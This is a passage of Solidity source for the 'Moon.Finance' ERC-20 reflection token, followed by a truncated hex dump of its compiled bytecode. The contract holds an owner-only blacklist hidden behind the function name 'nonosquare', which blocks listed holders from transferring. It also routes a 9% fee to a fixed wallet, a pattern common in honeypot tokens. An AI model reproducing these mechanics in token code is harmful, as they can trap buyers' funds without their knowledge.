function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MoonFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Moon.Finance";
string private constant _symbol = "MOONF";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x40F9dD53e94193C808742079Bb4a4D50319E43CC);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10**9;
_maxWalletSize = 35000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612720565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127ea565b6104b4565b60405161018e9190612845565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286f565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d2565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a1b565b61060d565b60405161021f9190612845565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6e565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab7565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afe565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b2b565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6e565b6109dd565b604051610319919061286f565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b67565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612720565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127ea565b610c9e565b6040516103da9190612845565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b2b565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b82565b611332565b60405161046e919061286f565b60405180910390f35b60606040518060400160405280600c81526020017f4d6f6f6e2e46696e616e63650000000000000000000000000000000000000000815250905090565b60006104c86104c16113b9565b84846113c1565b6001905092915050565b6000683635c9adc5dea00000905090565b6104eb6113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0e565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8c565b91505061057b565b5050565b600061061a84848461158a565b6106db846106266113b9565b6106d6856040518060600160405280602881526020016136c360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1b9092919063ffffffff16565b6113c1565b600190509392505050565b6106ee6113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0e565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0e565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0e565b60405180910390fd5b6000811161093357600080fd5b610962606461095483683635c9adc5dea00000611c7f90919063ffffffff16565b611cf990919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b9565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d43565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611daf565b9050919050565b610a366113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0e565b60405180910390fd5b683635c9adc5dea00000600f81905550683635c9adc5dea00000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4d4f4f4e46000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b9565b848461158a565b6001905092915050565b610cc46113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0e565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83683635c9adc5dea00000611c7f90919063ffffffff16565b611cf990919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b9565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1d565b50565b610e186113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0e565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113c1565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d55565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d55565b6040518363ffffffff1660e01b815260040161109c929190612d82565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d55565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612df0565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e66565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506801158e460913d00000600f819055506801e5b8fa8fe2ac00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112eb929190612eb9565b6020604051808303816000875af115801561130a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132e9190612ef7565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611430576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142790612f96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690613028565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157d919061286f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f0906130ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f9061314c565b60405180910390fd5b600081116116ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a2906131de565b60405180910390fd5b6000600a819055506009600b819055506116c3610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117315750611701610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117da5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e357600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fc5750600e60179054906101000a900460ff165b15611a3a57600f54811115611946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193d9061324a565b60405180910390fd5b60105481611953846109dd565b61195d919061326a565b111561199e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119959061330c565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e957600080fd5b601e426119f6919061326a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b51576000600a819055506009600b819055505b6000611b5c306109dd565b9050600e60159054906101000a900460ff16158015611bc95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611be15750600e60169054906101000a900460ff165b15611c0957611bef81611e1d565b60004790506000811115611c0757611c0647611d43565b5b505b505b611c16838383612096565b505050565b6000838311158290611c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5a9190612720565b60405180910390fd5b5060008385611c72919061332c565b9050809150509392505050565b6000808303611c915760009050611cf3565b60008284611c9f9190613360565b9050828482611cae91906133e9565b14611cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce59061348c565b60405180910390fd5b809150505b92915050565b6000611d3b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a6565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dab573d6000803e3d6000fd5b5050565b6000600854821115611df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ded9061351e565b60405180910390fd5b6000611e00612109565b9050611e158184611cf990919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5557611e5461288f565b5b604051908082528060200260200182016040528015611e835781602001602082028036833780820191505090505b5090503081600081518110611e9b57611e9a612c2e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f669190612d55565b81600181518110611f7a57611f79612c2e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fe130600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113c1565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120459594939291906135fc565b600060405180830381600087803b15801561205f57600080fd5b505af1158015612073573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120a1838383612134565b505050565b600080831182906120ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e49190612720565b60405180910390fd5b50600083856120fc91906133e9565b9050809150509392505050565b60008060006121166122ff565b9150915061212d8183611cf990919063ffffffff16565b9250505090565b60008060008060008061214687612361565b9550955095509550955095506121a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228581612471565b61228f848361252e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ec919061286f565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050612335683635c9adc5dea00000600854611cf990919063ffffffff16565b82101561235457600854683635c9adc5dea0000093509350505061235d565b81819350935050505b9091565b600080600080600080600080600061237e8a600a54600b54612568565b925092509250600061238e612109565b905060008060006123a18e8787876125fe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c1b565b905092915050565b6000808284612422919061326a565b905083811015612467576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245e906136a2565b60405180910390fd5b8091505092915050565b600061247b612109565b905060006124928284611c7f90919063ffffffff16565b90506124e681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612543826008546123c990919063ffffffff16565b60088190555061255e8160095461241390919063ffffffff16565b6009819055505050565b6000806000806125946064612586888a611c7f90919063ffffffff16565b611cf990919063ffffffff16565b905060006125be60646125b0888b611c7f90919063ffffffff16565b611cf990919063ffffffff16565b905060006125e7826125d9858c6123c990919063ffffffff16565b6123c990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126178589611c7f90919063ffffffff16565b9050600061262e8689611c7f90919063ffffffff16565b905060006126458789611c7f90919063ffffffff16565b9050600061266e8261266085876123c990919063ffffffff16565b6123c990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126c15780820151818401526020810190506126a6565b838111156126d0576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f282612687565b6126fc8185612692565b935061270c8185602086016126a3565b612715816126d6565b840191505092915050565b6000602082019050818103600083015261273a81846126e7565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061278182612756565b9050919050565b61279181612776565b811461279c57600080fd5b50565b6000813590506127ae81612788565b92915050565b6000819050919050565b6127c7816127b4565b81146127d257600080fd5b50565b6000813590506127e4816127be565b92915050565b600080604083850312156128015761280061274c565b5b600061280f8582860161279f565b9250506020612820858286016127d5565b9150509250929050565b60008115159050919050565b61283f8161282a565b82525050565b600060208201905061285a6000830184612836565b92915050565b612869816127b4565b82525050565b60006020820190506128846000830184612860565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c7826126d6565b810181811067ffffffffffffffff821117156128e6576128e561288f565b5b80604052505050565b60006128f9612742565b905061290582826128be565b919050565b600067ffffffffffffffff8211156129255761292461288f565b5b602082029050602081019050919050565b600080fd5b600061294e6129498461290a565b6128ef565b9050808382526020820190506020840283018581111561297157612970612936565b5b835b8181101561299a5780612986888261279f565b845260208401935050602081019050612973565b5050509392505050565b600082601f8301126129b9576129b861288a565b5b81356129c984826020860161293b565b91505092915050565b6000602082840312156129e8576129e761274c565b5b600082013567ffffffffffffffff811115612a0657612a05612751565b5b612a12848285016129a4565b91505092915050565b600080600060608486031215612a3457612a3361274c565b5b6000612a428682870161279f565b9350506020612a538682870161279f565b9250506040612a64868287016127d5565b9150509250925092565b600060208284031215612a8457612a8361274c565b5b6000612a928482850161279f565b91505092915050565b600060ff82169050919050565b612ab181612a9b565b82525050565b6000602082019050612acc6000830184612aa8565b92915050565b612adb8161282a565b8114612ae657600080fd5b50565b600081359050612af881612ad2565b92915050565b600060208284031215612b1457612b1361274c565b5b6000612b2284828501612ae9565b91505092915050565b600060208284031215612b4157612b4061274c565b5b6000612b4f848285016127d5565b91505092915050565b612b6181612776565b82525050565b6000602082019050612b7c6000830184612b58565b92915050565b60008060408385031215612b9957612b9861274c565b5b6000612ba78582860161279f565b9250506020612bb88582860161279f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf8602083612692565b9150612c0382612bc2565b602082019050919050565b60006020820190508181036000830152612c2781612beb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000006000